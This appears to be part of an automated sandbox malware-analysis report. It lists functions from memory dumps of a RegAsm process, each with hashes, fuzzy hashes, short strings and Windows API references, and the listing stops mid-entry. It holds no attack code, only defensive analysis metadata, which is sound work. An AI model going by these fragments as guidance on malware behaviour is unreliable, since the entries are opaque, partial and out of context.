Instruction Fuzzy Hash: D891F474E01218CFDB58DFAAD584A9DFBB2FF89305F20816AD409AB351DB359986CF04

Function 08E7AB30 Relevance: 2.7, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C#, xrefs: 08E7AC0D, 08E7AC12
{#, xrefs: 08E7AD2C, 08E7AD31

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID: C#${#
API String ID: 0-2421752338
Opcode ID: 2b2e70282f4d0b61e68dca1dd3df3b221df06625cd4b5ca52828bc41ecf8d0df
Instruction ID: f8a8c59b40f72d3efa40b5e06a72317439225883447a44c0b31e4765c71219ef
Opcode Fuzzy Hash: 2b2e70282f4d0b61e68dca1dd3df3b221df06625cd4b5ca52828bc41ecf8d0df
Instruction Fuzzy Hash: D8912370E01229CFDB64DFA8C994B9DFBB2FF49305F2091A9D509AB251DB305A89CF41

Function 06CFEB60 Relevance: 2.0, Strings: 1, Instructions: 761COMMON

Download Yara Rule

Strings

@B/, xrefs: 06CFEE87

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: @B/
API String ID: 0-3863299084
Opcode ID: 35dab6998d899fae4cd211674ac3ed45501dfdd7e016ae8ee916c3ff43de81fe
Instruction ID: 441bc04b4a7b55bb7a9c9a5df26adfe8e60c13f106663fdcce1b961f51226115
Opcode Fuzzy Hash: 35dab6998d899fae4cd211674ac3ed45501dfdd7e016ae8ee916c3ff43de81fe
Instruction Fuzzy Hash: 5282AB74E112298FDBA4DF69C984BDDBBB2BB49301F1081EAD509A7351DB319E81CF50

Function 06A33F50 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

$]q, xrefs: 06A341E4

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: d6a372c41d824284c60126b3902f5b50cd455dfa9905d8df7eb09747d85ec184
Instruction ID: a1db7a775f6d8c37ef9817378c9112fc2a9c866b52c72a61609d90f987ecd1d8
Opcode Fuzzy Hash: d6a372c41d824284c60126b3902f5b50cd455dfa9905d8df7eb09747d85ec184
Instruction Fuzzy Hash: D3125F34B002158FCB54EF69C9549AEBBF6FF89700B158169E906EB365DB30DC41CBA0

Function 06CF8B90 Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06CF8BF5

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f6cd7305969037a56adf0496a1bd768efe706590cb752f74831355f977b11378
Instruction ID: 9e7679e929c3605665cb6ec7ab771fd6d33b35ef022d3117c128578d1a1f263b
Opcode Fuzzy Hash: f6cd7305969037a56adf0496a1bd768efe706590cb752f74831355f977b11378
Instruction Fuzzy Hash: 9921E074E12218DFCB48DFAAE484ADDBBB6FB89310F10906AE515B7320DB305881CF54

Function 06CF71D8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\V|i, xrefs: 06CF748F

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: \V|i
API String ID: 0-2135609858
Opcode ID: 9edab9c35f048ae2acd57e5d566c3389b65795127cc20965e988333e395e600b
Instruction ID: 8a6829535f5744d2668adf5a329c93c59f6813266c28e45047097cfa8472f1a3
Opcode Fuzzy Hash: 9edab9c35f048ae2acd57e5d566c3389b65795127cc20965e988333e395e600b
Instruction Fuzzy Hash: 99B19E70E10209CFDF90CFA9E9857DDBBF2BF88304F148529E919A7294EB349945CB91

Function 06CF92D7 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CF9487

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: c3d4768aa7de7d493cec0b777f359117167acdb4d796d7ec4ec336fc25242254
Instruction ID: bd1d2eb8aabd74e3b49e43bb6a7128747e3e9efdc298b647c9985a5762521f09
Opcode Fuzzy Hash: c3d4768aa7de7d493cec0b777f359117167acdb4d796d7ec4ec336fc25242254
Instruction Fuzzy Hash: 86910070E01208CFCB99DFA9D590A9DBBB2FF89301F20916AD51AAB355CB349946CF50

Function 06CF9740 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CF98F4

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: bf77dd5a0e8f223c276700bad37c3b87190dea76ee2b7d1304c7f5bfbf8ebac4
Instruction ID: 76c6c5875346d7122e9ea578dabd46b34c3d8fc02993316039f9bcde8f810765
Opcode Fuzzy Hash: bf77dd5a0e8f223c276700bad37c3b87190dea76ee2b7d1304c7f5bfbf8ebac4
Instruction Fuzzy Hash: DB71D474D11218CFDFA8DFA9D940A9DBBB2BF89300F20942ED419AB354DB359941CF44

Function 06CFC3A8 Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60efff07dcc92ff88e4fc2065f99ee20dd3187bda3fd3187c13541730d4cc533
Instruction ID: b46d2b125e5ebe1029fa92e6c0e7c9764601993d0cc55bbf3691ce82f5aece65
Opcode Fuzzy Hash: 60efff07dcc92ff88e4fc2065f99ee20dd3187bda3fd3187c13541730d4cc533
Instruction Fuzzy Hash: 4E42BE74E012298FDBA5DF65C854BEEBBB2BF89300F1081EAD50AA7250DB355E85CF50

Function 06A367D8 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 284ddd2c3cafa75245b4fb2097c19fdf218a34c4a30b84745191a86841fa495f
Instruction ID: cf323fc44ca6219307f8c7f2481b6b3fa528b730c59a8f4433d2fa58d3ff94cb
Opcode Fuzzy Hash: 284ddd2c3cafa75245b4fb2097c19fdf218a34c4a30b84745191a86841fa495f
Instruction Fuzzy Hash: 6FF18E30A00219AFDB55EF68D940A9EBBF6FF89300F14856AF505AF261DB34ED45CB90

Function 08E7A198 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2245123004.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8e70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b2db3c32e8c8e625e3447518f3f118c6d2b85ce3e92a25318476df576d992a
Instruction ID: 91986d04b5dcc3c97a140e279a34cd0c2df51d4e633ee81d61b865343b2dd2f1
Opcode Fuzzy Hash: e2b2db3c32e8c8e625e3447518f3f118c6d2b85ce3e92a25318476df576d992a
Instruction Fuzzy Hash: E7227B74D01229CFDB65DF69C990BDDBBB2AF49301F1095EAD50AA7250EB309E85CF80

Function 06CF13B0 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1534b5c28439b6a3154bb2630fb371eefbbfc1160db9fec493bb7e1fcce77bd1
Instruction ID: 31ae7b90d0a912958bd2fef939d4c711ae28b314cc8276a1b4e7c472c9f973c0
Opcode Fuzzy Hash: 1534b5c28439b6a3154bb2630fb371eefbbfc1160db9fec493bb7e1fcce77bd1
Instruction Fuzzy Hash: 34E12EB4E00209DFDB88DBE5D954AAEBBB6FF8C200F008429960AB7355DA749C05DF65

Function 06CF13C0 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a279ec4da56d661f4633325129d055557f042a6c3e30671f9b87bef19b696411
Instruction ID: 4ef1e4e60284f12dbf2785150d4dd2991fda0c0ff0344c5d02b9d0357ba79ec5
Opcode Fuzzy Hash: a279ec4da56d661f4633325129d055557f042a6c3e30671f9b87bef19b696411
Instruction Fuzzy Hash: 49E11EB4E00209DFDB88DBE5D954AAEBBB6FF8C200F008429960AB7355DE749C05DF65

Function 06CFB600 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a49135382fca0f3bb35d8b58936fe8085633b4765310cd52f98995343e921d6f
Instruction ID: f1c062f804af602b3e5ddb29c3e102670baaabe9b35e91df5e0225a30b11f4b0
Opcode Fuzzy Hash: a49135382fca0f3bb35d8b58936fe8085633b4765310cd52f98995343e921d6f
Instruction Fuzzy Hash: C1F1C474A01229CFDB68DF65C950B9EBBB2FF89300F1081A9C50AA7354DB355E85CF51

Function 06CFF8D0 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfea36956b871461db781c371d6a7c291700d5846c0d90646d0ce4e0613dfc4b
Instruction ID: bd423a6c4c644bf01d4b931c730196306b1608bba9e9204e9d82d7b54e64f0f3
Opcode Fuzzy Hash: bfea36956b871461db781c371d6a7c291700d5846c0d90646d0ce4e0613dfc4b
Instruction Fuzzy Hash: 41E1DF74E01229CFDBA4DFA5C850BAEBBB2FF89300F1081AAC509A7255DB305E85CF51

Function 06A3A688 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc05076321ac7028ca5a65a9a69f0d45259ce3aa447f53a87caf832bd569712
Instruction ID: fe6603b8e79628af6d472ede889f4804c67256f2db2d85844d92ae40c76b26c1
Opcode Fuzzy Hash: 4bc05076321ac7028ca5a65a9a69f0d45259ce3aa447f53a87caf832bd569712
Instruction Fuzzy Hash: 48D11774900218CFDB24EFB4D854AADBBB6FF8A301F1081ADD54AAB3A5DB355885CF11

Function 06CFD370 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c4bafd888a4e7a94ea0eb633aaec464ca48668deeb395e3c6e2655f8df4961
Instruction ID: 4f09ef6d80f68dab90d8996d8cc322fe3aa22e2b1efa54e0bb646d011e0e079a
Opcode Fuzzy Hash: f2c4bafd888a4e7a94ea0eb633aaec464ca48668deeb395e3c6e2655f8df4961
Instruction Fuzzy Hash: 8FD1C374E01218CFDBA8DFA5D944B9DBBB2BF49301F2081AAD50AAB354DB316D85CF00

Function 06A3A6B8 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c4988772b41c67503ff1cf9decb9b0377b0ba6497c99f13b54a50539cc879b
Instruction ID: 0d7211abca398ed552a2363640a81fb79201aa23fb6b638dc499e687c5aa52e9
Opcode Fuzzy Hash: f7c4988772b41c67503ff1cf9decb9b0377b0ba6497c99f13b54a50539cc879b
Instruction Fuzzy Hash: 7FD1F674900218CFDB28EFB4D854AADBBB6FF8A301F10816DD51AAB2A5DB355885CF11

Function 06CFB198 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b602ad490b5112b4adfbd3adcdf83b491405a78956aef7b513917c3e8c88eb
Instruction ID: 80db9be6e56f5bb37240e29161dbb9aeb24b79df104b03f9be5e1b0ca7edc689
Opcode Fuzzy Hash: c5b602ad490b5112b4adfbd3adcdf83b491405a78956aef7b513917c3e8c88eb
Instruction Fuzzy Hash: 79D19E74E01218CFDB64DFA9C984B9DBBB2BF89301F1091A9D509AB355DB349E85CF10

Function 06CFBC40 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f5ac2d81063b088c26eeb66c937dcaeab4a7ece96e50a91d85a3ffb34338fc8
Instruction ID: 74cbbfd63e8fff2feceaa1879846c30e6a6726e1bfe435be09b2dab1c06ae7c1
Opcode Fuzzy Hash: 0f5ac2d81063b088c26eeb66c937dcaeab4a7ece96e50a91d85a3ffb34338fc8
Instruction Fuzzy Hash: D9C1C374E012298FDBA8DF65C850BDEBBB2BF89300F1081EAC549AB254DB755E85CF50

Function 06CF7AA8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 010fb990d8d06c3f5ebebf982855e500a30323948d8999e6c3dd2527355b9be0
Instruction ID: e870cc355e27fb06a096babcc80ca20ffafb6bd90315ebf23d6f6baaa57a51c2
Opcode Fuzzy Hash: 010fb990d8d06c3f5ebebf982855e500a30323948d8999e6c3dd2527355b9be0
Instruction Fuzzy Hash: AAB19E70E10209CFDF90CFA9E8817ADBBF2BF88314F148529D919E7254EB749985CB91

Function 06CFD980 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f5a78ab0d540a529e8d6c0a8d2138808ea154f6ffbd56d028fc38fb19b5eb55
Instruction ID: de82215f75abb4929204d2ae711b45f2d15a23569de66ec91dfb21d0a9162432
Opcode Fuzzy Hash: 9f5a78ab0d540a529e8d6c0a8d2138808ea154f6ffbd56d028fc38fb19b5eb55
Instruction Fuzzy Hash: 90B1D274E01228CFDB64DF69C894B9DBBB2FF89304F1085AAD509AB355DB309A85CF50

Function 06CFB5F0 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 882da89c7b6c8e26ef95ea1a6504f71159e3398535843e248a666728143b972e
Instruction ID: 094c6c35ba1f9b01f79f0dda43018c8c7977a9b2fe6ce3db449b43cb394945c7
Opcode Fuzzy Hash: 882da89c7b6c8e26ef95ea1a6504f71159e3398535843e248a666728143b972e
Instruction Fuzzy Hash: EFA1F570E00229CFDB65DFA5D850BAEBBB2FF88300F2081A9D50A6B255DB355E85CF51

Function 06CFF8C1 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240902377.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6cee39f22dc86da02f6100d309b27c0f1bfe0d03079f009a79d2a14a3229898
Instruction ID: 7d685fc0ebe7a82f164ebd526efcb747294eab16407fa261a0d63d9a96d9057f
Opcode Fuzzy Hash: a6cee39f22dc86da02f6100d309b27c0f1bfe0d03079f009a79d2a14a3229898
Instruction Fuzzy Hash: 6391C770D01229CFDBA8DFA5C950B9EBBB2FF89300F5081AAC50AA7254DB354E85DF51

Function 06A10D80 Relevance: 20.6, Strings: 16, Instructions: 616
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A10F86
$]q, xrefs: 06A1137B
$]q, xrefs: 06A10FB8
$]q, xrefs: 06A11430
$]q, xrefs: 06A10E02
$]q, xrefs: 06A113A0
$]q, xrefs: 06A11461
$]q, xrefs: 06A113EB
$]q, xrefs: 06A10E84
$]q, xrefs: 06A11455
$]q, xrefs: 06A10F36
$]q, xrefs: 06A10E78
$]q, xrefs: 06A10FAC
$]q, xrefs: 06A113AC
$]q, xrefs: 06A11336
$]q, xrefs: 06A10E52

Memory Dump Source

Source File: 00000003.00000002.2240491697.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a10000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2551331179
Opcode ID: 9575eaf79da34a88ebed277333dea207a96645f6d3fff9bccdc2d5c7e1674943
Instruction ID: f824027caa8a8fb4889d2a5aecc76a0dd854365a690ad9230d202411a85f3ace
Opcode Fuzzy Hash: 9575eaf79da34a88ebed277333dea207a96645f6d3fff9bccdc2d5c7e1674943
Instruction Fuzzy Hash: EB22AF30B042059FDB949F69C984A7EBBF6BF89600B10846AE516DF3A2CF74DC41CB91

Function 06A14C44 Relevance: 10.4, Strings: 8, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A150C9
$]q, xrefs: 06A1513F
$]q, xrefs: 06A14FA8
$]q, xrefs: 06A14FD9
$]q, xrefs: 06A14FCD
$]q, xrefs: 06A14F63
$]q, xrefs: 06A15133
$]q, xrefs: 06A1510E

Memory Dump Source

Source File: 00000003.00000002.2240491697.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a10000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 3fadb743c510b3574d3105d3a85ecdb09a10bb8883cbb2cd4d45b00c10421a03
Instruction ID: d7848ff6c512bbf5acec571982eb2dfeb732bf221745be671674f8942e297869
Opcode Fuzzy Hash: 3fadb743c510b3574d3105d3a85ecdb09a10bb8883cbb2cd4d45b00c10421a03
Instruction Fuzzy Hash: 96E19B30B002058FDB55AF68C994A7ABBE6FF89710B11446DD5069F3A2CF79EC05CBA1

Function 06A11582 Relevance: 7.8, Strings: 6, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06A11A12
$]q, xrefs: 06A118E3
$]q, xrefs: 06A1182E
$]q, xrefs: 06A11A7C
$]q, xrefs: 06A11A57
$]q, xrefs: 06A11A88

Memory Dump Source

Source File: 00000003.00000002.2240491697.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a10000_RegAsm.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: a57b3289a6371ba60de8f1dcc048938e2ba0abd5d6c299c4dff5dceceac1f26f
Instruction ID: 8fd430786265dfa1623258f64bb98363ae76f73ec2b3c7ee795557720b4c94b6
Opcode Fuzzy Hash: a57b3289a6371ba60de8f1dcc048938e2ba0abd5d6c299c4dff5dceceac1f26f
Instruction Fuzzy Hash: 81C1D4347042049FDB58AB68C994A7EBBEAEF85700F10846AD7028F392DF75DC05CB91

Function 06A38C88 Relevance: 2.7, Strings: 2, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 06A38D2C
(aq, xrefs: 06A38D00

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: a0f863f104b5e36e98256ffd3a3e9a58edd110ec1d70ea5a431831678c1f3da9
Instruction ID: 6a2e81cd1af6ed6d4eb9bf120d081dd6ef816c6ae8636161cbdee2137a830126
Opcode Fuzzy Hash: a0f863f104b5e36e98256ffd3a3e9a58edd110ec1d70ea5a431831678c1f3da9
Instruction Fuzzy Hash: F1411630B0429A5FCB49AF78945067F7FA6BFD5790F2440AAE9059B385CE34CD06C3A2

Function 06A10598 Relevance: 1.7, Strings: 1, Instructions: 462COMMON

Download Yara Rule

Strings

lPj, xrefs: 06A1059C

Memory Dump Source

Source File: 00000003.00000002.2240491697.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a10000_RegAsm.jbxd

Similarity

API ID:
String ID: lPj
API String ID: 0-417912878
Opcode ID: 1f20319c41505495bc66b4985d134558358579d9d06dcb9ea02db51e7acf7441
Instruction ID: ddeda34c75226513dcd33416afa1a4984e6296df30b747133996b19b0b183439
Opcode Fuzzy Hash: 1f20319c41505495bc66b4985d134558358579d9d06dcb9ea02db51e7acf7441
Instruction Fuzzy Hash: AD02AC307002158FCB54AF64D994A2EBAB6FF89714F00456DD602AF3A5CF7AEC49CB91

Function 0155AE30 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2216662348.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1550000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8e8368bc2bff4301c89fea9711a50e56e71a5ff7535c9432e3ea22618fd319de
Instruction ID: ea62bfe95b8cbf59fb92b52efb0ba7886e456ee66e81d6ac91758fab9d526e7f
Opcode Fuzzy Hash: 8e8368bc2bff4301c89fea9711a50e56e71a5ff7535c9432e3ea22618fd319de
Instruction Fuzzy Hash: C37157B0A00B058FD764DF29D45475ABBF1FF88304F008A2ED95ADBA50DB74E849CB91

Function 01554248 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 015559F1

Memory Dump Source

Source File: 00000003.00000002.2216662348.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1550000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c24268e0d97a63c36ea03cdf4564218c98d4cbcdad3c2d1529c4ae74dd16b26b
Instruction ID: 7ff4f428ef3a220e2c11f3df630bc743e757867d200fcb52e175b071104dc56c
Opcode Fuzzy Hash: c24268e0d97a63c36ea03cdf4564218c98d4cbcdad3c2d1529c4ae74dd16b26b
Instruction Fuzzy Hash: 4D41FFB0C00719CBDB64CFA9C894B9DBBF5FF49304F20806AD408AB254DBB5694ACF91

Function 01555935 Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 015559F1

Memory Dump Source

Source File: 00000003.00000002.2216662348.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1550000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9841ef246adee90c156749fdb12e507efa331162256f0a5de604747cf3288b56
Instruction ID: ca707c1d57b8ce259d4f5e9793c402a780d433195cb18abcf9de464f09b050a0
Opcode Fuzzy Hash: 9841ef246adee90c156749fdb12e507efa331162256f0a5de604747cf3288b56
Instruction Fuzzy Hash: 2A41FFB0C00719CADB24CFA9C894B9DBBB5FF48304F24806AD418AB254DBB5694ACF90

Function 0155C9A0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0155D2C6,?,?,?,?,?), ref: 0155D387

Memory Dump Source

Source File: 00000003.00000002.2216662348.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1550000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1754da78f6f4370f186569460b948343e408f87ba0485f2d2fca8dae8ca0c836
Instruction ID: c78fd8bb3d2203a56aba48f29d6cdb15c4ade8260fc401731742da99e4f1b556
Opcode Fuzzy Hash: 1754da78f6f4370f186569460b948343e408f87ba0485f2d2fca8dae8ca0c836
Instruction Fuzzy Hash: A221E4B5900248DFDB10CF9AD984AEEBFF4FB48320F14841AE918A7311D378A954CFA5

Function 0155D2F9 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0155D2C6,?,?,?,?,?), ref: 0155D387

Memory Dump Source

Source File: 00000003.00000002.2216662348.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1550000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 089b66d9df2489a3f316f5ed7e4a0d1c4ec7955f29881e25491b120f0ba90a34
Instruction ID: 3bc8bb8e3df113c790f12650b02644792f7d26bcdb3d107159e2fa79d1e5bfdd
Opcode Fuzzy Hash: 089b66d9df2489a3f316f5ed7e4a0d1c4ec7955f29881e25491b120f0ba90a34
Instruction Fuzzy Hash: EE21B3B69002499FDB10CF99D585AEEBBF5FB48324F14841AE918B7310D378A954CFA1

Function 01559838 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,0155AE4C), ref: 0155B086

Memory Dump Source

